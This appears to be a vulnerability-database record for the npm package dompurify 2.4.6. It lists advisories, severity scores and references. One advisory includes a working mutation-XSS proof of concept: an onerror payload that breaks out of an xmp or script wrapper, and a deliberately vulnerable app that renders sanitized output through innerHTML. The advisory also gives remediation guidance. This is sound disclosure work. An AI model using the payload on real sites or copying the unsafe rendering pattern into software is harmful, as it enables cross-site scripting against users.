Lookup for vulnerable packages by Package URL.

Purlpkg:npm/dompurify@2.4.6
Typenpm
Namespace
Namedompurify
Version2.4.6
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version3.3.2
Latest_non_vulnerable_version3.4.0
Affected_by_vulnerabilities
0
url VCID-gmsu-xfke-47bg
vulnerability_id VCID-gmsu-xfke-47bg
summary
DOMPurify allows tampering by prototype pollution
It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.

This renders dompurify unable to avoid XSS attack.

Fixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-45801.json
reference_id
reference_type
scores
0
value 7.0
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-45801.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-45801
reference_id
reference_type
scores
0
value 0.00071
scoring_system epss
scoring_elements 0.21477
published_at 2026-04-29T12:55:00Z
1
value 0.00071
scoring_system epss
scoring_elements 0.21489
published_at 2026-04-26T12:55:00Z
2
value 0.00071
scoring_system epss
scoring_elements 0.21495
published_at 2026-04-24T12:55:00Z
3
value 0.00071
scoring_system epss
scoring_elements 0.21643
published_at 2026-04-21T12:55:00Z
4
value 0.00071
scoring_system epss
scoring_elements 0.21673
published_at 2026-04-18T12:55:00Z
5
value 0.00071
scoring_system epss
scoring_elements 0.21667
published_at 2026-04-16T12:55:00Z
6
value 0.00071
scoring_system epss
scoring_elements 0.21668
published_at 2026-04-13T12:55:00Z
7
value 0.00071
scoring_system epss
scoring_elements 0.21724
published_at 2026-04-12T12:55:00Z
8
value 0.00071
scoring_system epss
scoring_elements 0.21764
published_at 2026-04-11T12:55:00Z
9
value 0.00071
scoring_system epss
scoring_elements 0.21753
published_at 2026-04-09T12:55:00Z
10
value 0.00071
scoring_system epss
scoring_elements 0.21696
published_at 2026-04-08T12:55:00Z
11
value 0.00071
scoring_system epss
scoring_elements 0.2162
published_at 2026-04-07T12:55:00Z
12
value 0.00071
scoring_system epss
scoring_elements 0.21815
published_at 2026-04-02T12:55:00Z
13
value 0.00071
scoring_system epss
scoring_elements 0.21868
published_at 2026-04-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-45801
2
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 7.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
3
reference_url https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21
reference_id
reference_type
scores
0
value 7.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
1
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
2
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-16T20:04:30Z/
url https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21
4
reference_url https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc
reference_id
reference_type
scores
0
value 7.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
1
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
2
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-16T20:04:30Z/
url https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc
5
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674
reference_id
reference_type
scores
0
value 7.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
1
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
2
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
3
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
4
value HIGH
scoring_system generic_textual
scoring_elements
5
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-16T20:04:30Z/
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-45801
reference_id
reference_type
scores
0
value 7.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-45801
7
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2312631
reference_id 2312631
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2312631
8
reference_url https://github.com/advisories/GHSA-mmhx-hmjr-r674
reference_id GHSA-mmhx-hmjr-r674
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-mmhx-hmjr-r674
9
reference_url https://access.redhat.com/errata/RHSA-2024:11381
reference_id RHSA-2024:11381
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:11381
10
reference_url https://access.redhat.com/errata/RHSA-2024:7324
reference_id RHSA-2024:7324
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:7324
11
reference_url https://access.redhat.com/errata/RHSA-2024:7706
reference_id RHSA-2024:7706
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:7706
12
reference_url https://access.redhat.com/errata/RHSA-2024:8014
reference_id RHSA-2024:8014
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:8014
13
reference_url https://access.redhat.com/errata/RHSA-2025:0892
reference_id RHSA-2025:0892
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:0892
14
reference_url https://access.redhat.com/errata/RHSA-2025:4019
reference_id RHSA-2025:4019
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:4019
fixed_packages
0
url pkg:npm/dompurify@2.5.4
purl pkg:npm/dompurify@2.5.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-mv6v-re2k-g3gn
1
vulnerability VCID-ps3s-bymy-dkbc
2
vulnerability VCID-ter4-v1bu-7fan
3
vulnerability VCID-vzq7-t235-ukd5
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@2.5.4
1
url pkg:npm/dompurify@3.1.3
purl pkg:npm/dompurify@3.1.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-mv6v-re2k-g3gn
1
vulnerability VCID-ps3s-bymy-dkbc
2
vulnerability VCID-ter4-v1bu-7fan
3
vulnerability VCID-vzq7-t235-ukd5
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.1.3
aliases CVE-2024-45801, GHSA-mmhx-hmjr-r674
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-gmsu-xfke-47bg
1
url VCID-mebp-4rfu-vqcq
vulnerability_id VCID-mebp-4rfu-vqcq
summary
DOMpurify has a nesting-based mXSS
DOMpurify was vulnerable to nesting-based mXSS 

fixed by [0ef5e537](https://github.com/cure53/DOMPurify/tree/0ef5e537a514f904b6aa1d7ad9e749e365d7185f) (2.x) and
[merge 943](https://github.com/cure53/DOMPurify/pull/943)

Backporter should be aware of GHSA-mmhx-hmjr-r674 (CVE-2024-45801) when cherry-picking

POC is avaible under [test](https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098)
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-47875.json
reference_id
reference_type
scores
0
value 8.0
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-47875.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-47875
reference_id
reference_type
scores
0
value 0.00699
scoring_system epss
scoring_elements 0.72061
published_at 2026-04-26T12:55:00Z
1
value 0.00699
scoring_system epss
scoring_elements 0.71935
published_at 2026-04-07T12:55:00Z
2
value 0.00699
scoring_system epss
scoring_elements 0.71986
published_at 2026-04-09T12:55:00Z
3
value 0.00699
scoring_system epss
scoring_elements 0.71974
published_at 2026-04-08T12:55:00Z
4
value 0.00699
scoring_system epss
scoring_elements 0.71939
published_at 2026-04-02T12:55:00Z
5
value 0.00699
scoring_system epss
scoring_elements 0.71959
published_at 2026-04-04T12:55:00Z
6
value 0.00699
scoring_system epss
scoring_elements 0.72026
published_at 2026-04-18T12:55:00Z
7
value 0.00699
scoring_system epss
scoring_elements 0.72019
published_at 2026-04-16T12:55:00Z
8
value 0.00699
scoring_system epss
scoring_elements 0.71978
published_at 2026-04-13T12:55:00Z
9
value 0.00699
scoring_system epss
scoring_elements 0.71993
published_at 2026-04-12T12:55:00Z
10
value 0.00699
scoring_system epss
scoring_elements 0.7201
published_at 2026-04-11T12:55:00Z
11
value 0.00719
scoring_system epss
scoring_elements 0.72529
published_at 2026-04-24T12:55:00Z
12
value 0.00719
scoring_system epss
scoring_elements 0.72486
published_at 2026-04-21T12:55:00Z
13
value 0.00719
scoring_system epss
scoring_elements 0.72534
published_at 2026-04-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-47875
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47875
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47875
3
reference_url http://seclists.org/fulldisclosure/2025/Apr/14
reference_id
reference_type
scores
0
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
1
value 7.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H
2
value HIGH
scoring_system generic_textual
scoring_elements
url http://seclists.org/fulldisclosure/2025/Apr/14
4
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
5
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
1
value 7.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
6
reference_url https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
1
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
2
value 7.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-10-11T19:27:35Z/
url https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098
7
reference_url https://github.com/cure53/DOMPurify/commit/0ef5e537a514f904b6aa1d7ad9e749e365d7185f
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
1
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
2
value 7.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-10-11T19:27:35Z/
url https://github.com/cure53/DOMPurify/commit/0ef5e537a514f904b6aa1d7ad9e749e365d7185f
8
reference_url https://github.com/cure53/DOMPurify/commit/6ea80cd8b47640c20f2f230c7920b1f4ce4fdf7a
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
1
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
2
value 7.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-10-11T19:27:35Z/
url https://github.com/cure53/DOMPurify/commit/6ea80cd8b47640c20f2f230c7920b1f4ce4fdf7a
9
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-gx9m-whjm-85jf
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
1
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
2
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
3
value 7.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H
4
value HIGH
scoring_system generic_textual
scoring_elements
5
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-10-11T19:27:35Z/
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-gx9m-whjm-85jf
10
reference_url https://lists.debian.org/debian-lts-announce/2025/02/msg00010.html
reference_id
reference_type
scores
0
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
1
value 7.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://lists.debian.org/debian-lts-announce/2025/02/msg00010.html
11
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-47875
reference_id
reference_type
scores
0
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
1
value 7.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-47875
12
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1084983
reference_id 1084983
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1084983
13
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2318052
reference_id 2318052
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2318052
14
reference_url https://github.com/advisories/GHSA-gx9m-whjm-85jf
reference_id GHSA-gx9m-whjm-85jf
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gx9m-whjm-85jf
15
reference_url https://access.redhat.com/errata/RHSA-2024:10236
reference_id RHSA-2024:10236
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:10236
16
reference_url https://access.redhat.com/errata/RHSA-2024:10988
reference_id RHSA-2024:10988
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:10988
17
reference_url https://access.redhat.com/errata/RHSA-2024:8683
reference_id RHSA-2024:8683
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:8683
18
reference_url https://access.redhat.com/errata/RHSA-2024:8981
reference_id RHSA-2024:8981
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:8981
19
reference_url https://access.redhat.com/errata/RHSA-2024:9473
reference_id RHSA-2024:9473
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:9473
20
reference_url https://access.redhat.com/errata/RHSA-2024:9629
reference_id RHSA-2024:9629
reference_type
scores
url https://access.redhat.com/errata/RHSA-2024:9629
21
reference_url https://access.redhat.com/errata/RHSA-2025:0329
reference_id RHSA-2025:0329
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:0329
fixed_packages
0
url pkg:npm/dompurify@2.5.0
purl pkg:npm/dompurify@2.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-gmsu-xfke-47bg
1
vulnerability VCID-ter4-v1bu-7fan
2
vulnerability VCID-vzq7-t235-ukd5
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@2.5.0
1
url pkg:npm/dompurify@3.1.3
purl pkg:npm/dompurify@3.1.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-mv6v-re2k-g3gn
1
vulnerability VCID-ps3s-bymy-dkbc
2
vulnerability VCID-ter4-v1bu-7fan
3
vulnerability VCID-vzq7-t235-ukd5
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.1.3
aliases CVE-2024-47875, GHSA-gx9m-whjm-85jf
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mebp-4rfu-vqcq
2
url VCID-ter4-v1bu-7fan
vulnerability_id VCID-ter4-v1bu-7fan
summary
DOMPurify is vulnerable to mutation-XSS via Re-Contextualization
## Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).


## Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

## PoC

1. Start the PoC app:
```bash
npm install
npm start
```

2. Open `http://localhost:3001`.
3. Set `Wrapper en sink` to `xmp`.
4. Use payload:
```html
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
```

5. Click `Sanitize + Render`.
6. Observe:
- `Sanitized response` still contains the `</xmp>` sequence inside `alt`.
- The sink reparses to include `<img src="x" onerror="alert('expoc')">`.
- `alert('expoc')` is triggered.
7. Files:
- index.html

```html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #0f172a;
        --muted: #475569;
        --accent: #0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #22c55e;
        background: #f0fdf4;
      }

      @media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>
```

- server.js

```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
```

- package.json

```json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}
```

## Evidence

- PoC

[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)

- XSS triggered
<img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" />

## Why This Happens
This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

## Remediation Guidance
1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).
references
0
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
1
reference_url https://github.com/cure53/DOMPurify/releases/tag/3.3.2
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/releases/tag/3.3.2
2
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2
reference_id
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
